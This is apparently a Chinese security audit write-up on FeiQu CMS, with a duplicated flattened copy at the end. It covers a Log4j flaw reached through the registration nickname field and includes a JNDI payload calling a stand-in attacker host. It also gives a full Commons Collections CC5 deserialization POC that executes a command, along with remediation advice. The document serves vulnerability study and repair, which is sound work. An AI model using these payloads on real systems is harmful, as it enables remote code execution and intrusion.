飞趣CMS二次审计
字数 1530 2025-08-27 12:33:31

飞趣CMS二次审计漏洞分析与利用教学文档

0x01 前言

本文基于先知社区Met32师傅对飞趣CMS的二次审计结果,深入分析该CMS存在的安全漏洞及利用方法。原始分析文章可参考:飞趣CMS审计

0x02 环境部署注意事项

  1. 数据库配置
    • 配置文件位于resources目录
    • Redis和MySQL密码使用AES加密存储
    • 加密工具类:com.feiqu.common.utils.AESUtil

0x03 Log4j漏洞分析

漏洞发现

com.feiqu.web.controller.UserControllerhome函数(944行)发现存在logger.info()调用,存在Log4j漏洞利用点。

漏洞验证

public class Test1 {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(logtest.class);
        logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
    }
}

利用点

  1. 用户注册功能

    • 在注册时可在昵称字段填入Log4j payload
    • 前端name对应FqUser工具类
  2. 用户主页访问

    • URL格式:127.0.0.1:8080/u/12/home
    • 触发点在用户主页访问时

利用方法

  1. 在用户注册时,在昵称字段填入payload:${jndi:ldap://attacker.com/exp}
  2. 访问用户主页触发漏洞
  3. 观察DNSLOG回显确认漏洞存在

0x04 Commons Collections反序列化漏洞分析

环境条件

  • 系统中存在Commons Collections组件
  • 测试发现CC4版本中部分类无法序列化,建议使用CC3或CC5链

CC5利用链分析

利用链过程:

  1. ObjectInputStream.readObject()
  2. BadAttributeValueExpException.readObject()
  3. TiedMapEntry.toString()
  4. LazyMap.get()
  5. ChainedTransformer.transform()
  6. ConstantTransformer.transform()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. Class.getMethod()
  10. InvokerTransformer.transform()
  11. Method.invoke()
  12. Runtime.getRuntime()
  13. InvokerTransformer.transform()
  14. Method.invoke()
  15. Runtime.exec()

POC代码

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] { String.class, Class[].class }, 
        new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", 
        new Class[] { Object.class, Object[].class }, 
        new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", 
        new Class[] { String.class }, 
        new String[] { "calc.exe" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, "keykey");

BadAttributeValueExpException POC = new BadAttributeValueExpException(1);
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(POC, tiedmap);

// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
objectOutputStream.writeObject(POC);
objectOutputStream.close();

// 反序列化触发
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));
objectInputStream.readObject();
objectInputStream.close();

关键点分析

  1. LazyMap初始化

    • transformerChain存入到factory
    • LazyMap.get()会调用transform方法
  2. 触发链

    • TiedMapEntry初始化时将LazyMap作为第一个参数传入
    • TiedMapEntry.toString()调用getValue(),进而调用LazyMap.get
    • 通过反射将BadAttributeValueExpExceptionval设置为TiedMapEntry

实际利用限制

审计发现系统中仅有一处readObject调用点,实际利用存在困难,因此该漏洞利用失败。

0x05 其他漏洞尝试

  1. SQL注入

    • 发现多个潜在注入点
    • 但参数均不可控,无法利用
  2. Fastjson反序列化

    • 存在JSON.parseObject调用
    • 但无可控点,无法利用

0x06 总结

  1. 确认漏洞

    • Log4j漏洞存在且可利用
    • 主要在用户注册和主页访问功能中
  2. 潜在风险

    • Commons Collections组件存在但利用受限
    • 其他类型漏洞参数不可控
  3. 修复建议

    • 升级Log4j版本
    • 对用户输入进行严格过滤
    • 移除不必要的反序列化功能
飞趣CMS二次审计漏洞分析与利用教学文档 0x01 前言 本文基于先知社区Met32师傅对飞趣CMS的二次审计结果,深入分析该CMS存在的安全漏洞及利用方法。原始分析文章可参考: 飞趣CMS审计 。 0x02 环境部署注意事项 数据库配置 : 配置文件位于 resources 目录 Redis和MySQL密码使用AES加密存储 加密工具类: com.feiqu.common.utils.AESUtil 0x03 Log4j漏洞分析 漏洞发现 在 com.feiqu.web.controller.UserController 的 home 函数(944行)发现存在 logger.info() 调用,存在Log4j漏洞利用点。 漏洞验证 利用点 用户注册功能 : 在注册时可在昵称字段填入Log4j payload 前端name对应 FqUser 工具类 用户主页访问 : URL格式: 127.0.0.1:8080/u/12/home 触发点在用户主页访问时 利用方法 在用户注册时,在昵称字段填入payload: ${jndi:ldap://attacker.com/exp} 访问用户主页触发漏洞 观察DNSLOG回显确认漏洞存在 0x04 Commons Collections反序列化漏洞分析 环境条件 系统中存在Commons Collections组件 测试发现CC4版本中部分类无法序列化,建议使用CC3或CC5链 CC5利用链分析 利用链过程: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() POC代码 关键点分析 LazyMap初始化 : 将 transformerChain 存入到 factory LazyMap.get() 会调用 transform 方法 触发链 : TiedMapEntry 初始化时将 LazyMap 作为第一个参数传入 TiedMapEntry.toString() 调用 getValue() ,进而调用 LazyMap.get 通过反射将 BadAttributeValueExpException 的 val 设置为 TiedMapEntry 实际利用限制 审计发现系统中仅有一处 readObject 调用点,实际利用存在困难,因此该漏洞利用失败。 0x05 其他漏洞尝试 SQL注入 : 发现多个潜在注入点 但参数均不可控,无法利用 Fastjson反序列化 : 存在 JSON.parseObject 调用 但无可控点,无法利用 0x06 总结 确认漏洞 : Log4j漏洞存在且可利用 主要在用户注册和主页访问功能中 潜在风险 : Commons Collections组件存在但利用受限 其他类型漏洞参数不可控 修复建议 : 升级Log4j版本 对用户输入进行严格过滤 移除不必要的反序列化功能